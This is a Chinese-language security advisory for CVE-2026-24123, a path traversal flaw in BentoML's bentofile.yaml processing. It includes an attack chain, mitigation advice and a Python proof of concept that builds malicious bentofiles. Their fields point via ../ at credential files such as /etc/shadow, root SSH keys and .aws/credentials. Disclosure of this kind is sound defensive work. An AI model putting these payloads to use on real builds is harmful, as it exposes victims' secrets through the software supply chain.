IPBUF安全漏洞报告
English
CVE-2026-24123 CVSS 7.4 高危

CVE-2026-24123 BentoML bentofile.yaml路径遍历漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24123
漏洞类型
路径遍历
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
BentoML

相关标签

路径遍历BentoML供应链攻击文件读取bentofileCVE-2026-24123ML模型部署配置文件注入

漏洞概述

CVE-2026-24123是BentoML框架中的一个高危路径遍历漏洞。BentoML是一个开源的Python库,专门用于构建和部署机器学习模型的在线服务系统。该漏洞影响1.4.34之前的版本,存在于bentofile.yaml配置文件处理逻辑中。攻击者可以通过在多个配置字段(包括description、docker.setup_script、docker.dockerfile_template、conda.environment_yml)中注入路径遍历序列(如../),实现对服务器文件系统任意位置的访问。当受害者使用攻击者精心构造的bentofile构建bento时,敏感文件(如SSH密钥、数据库凭据、环境变量配置文件等)会被读取并嵌入到最终的bento归档包中。这些包含敏感信息的bento包在推送到公共或私有镜像仓库后,可能被其他用户下载和使用,从而导致敏感数据泄露和供应链攻击风险。

技术细节

该漏洞的根本原因在于BentoML在解析bentofile.yaml配置文件时,未对用户可控的文件路径字段进行充分的输入验证和路径规范化处理。攻击者可以利用路径遍历字符序列(如../)来突破预期的目录边界,访问系统任意位置的文件。具体利用方式如下:1) 在description字段中嵌入路径遍历载荷;2) 在docker.setup_script字段中指定恶意脚本路径;3) 在docker.dockerfile_template字段中引用包含敏感信息的文件;4) 在conda.environment_yml字段中包含指向系统文件的路径。当BentoML的构建流程处理这些配置时,会读取指定的文件内容并将其打包到bento归档中。由于构建过程对用户输入的信任,恶意bentofile可以在受害者不知情的情况下完成文件窃取。修复方案需要对这些路径字段进行严格的路径规范化、边界检查和符号链接解析。

攻击链分析

STEP 1
步骤1
攻击者创建恶意的bentofile.yaml文件,在description、docker.setup_script、docker.dockerfile_template或conda.environment_yml字段中注入路径遍历载荷(如../../../etc/passwd)
STEP 2
步骤2
攻击者将恶意bentofile通过社交工程、GitHub仓库、PyPI包或其他渠道分发给目标受害者
STEP 3
步骤3
受害者在本地执行'bentoml build'命令构建bento,此时BentoML会解析bentofile.yaml中的路径字段
STEP 4
步骤4
BentoML构建流程读取路径遍历载荷指定的敏感文件(如SSH密钥、凭据文件等)并将其内容嵌入到bento归档包中
STEP 5
步骤5
受害者将包含敏感数据的bento包推送到公共或私有镜像仓库(如Docker Hub、AWS ECR等)
STEP 6
步骤6
攻击者或其他恶意用户从仓库下载bento包,解包后获取受害者的敏感凭据,实现供应链攻击和数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-24123 PoC - Malicious bentofile.yaml for BentoML Path Traversal This PoC demonstrates how an attacker can exfiltrate sensitive files via bentofile.yaml """ malicious_bentofile = """ service: "test:predict" description: | ../../../etc/passwd ../../../root/.ssh/id_rsa ../../../home/*/.env docker: setup_script: ../../../etc/shadow dockerfile_template: ../../../root/.bashrc conda: environment_yml: ../../../etc/environment labels: author: attacker purpose: sensitive_data_exfiltration """ # Alternative PoC using Python API def generate_malicious_bentofile(target_paths): """ Generate malicious bentofile.yaml to exfiltrate files Args: target_paths: List of file paths to exfiltrate """ paths_section = '\n'.join([f' ../../../{path}' for path in target_paths]) malicious_yaml = f""" service: "exfil:Predict" description: | {paths_section} docker: setup_script: ../../../etc/shadow labels: malicious: "true" """ return malicious_yaml # Example usage if __name__ == "__main__": targets = [ 'etc/passwd', 'root/.ssh/id_rsa', 'home/user/.env', '.aws/credentials', '.git/config' ] poc = generate_malicious_bentofile(targets) print("Generated malicious bentofile.yaml:") print(poc) print("\nNote: When victim builds this bentofile with 'bentoml build', ") print("the sensitive files will be embedded in the bento archive.")

影响范围

BentoML < 1.4.34

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 避免使用来源不明的bentofile.yaml文件;2) 对所有bentofile进行人工代码审查,重点检查description、docker.setup_script、docker.dockerfile_template、conda.environment_yml等字段;3) 在隔离环境中构建bento,避免使用具有高权限的账户;4) 定期检查已构建bento包的内容,确保未包含敏感文件;5) 限制构建环境的文件系统访问权限,使用容器化技术隔离构建过程;6) 监控推送到镜像仓库的bento包,防止敏感数据外泄。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表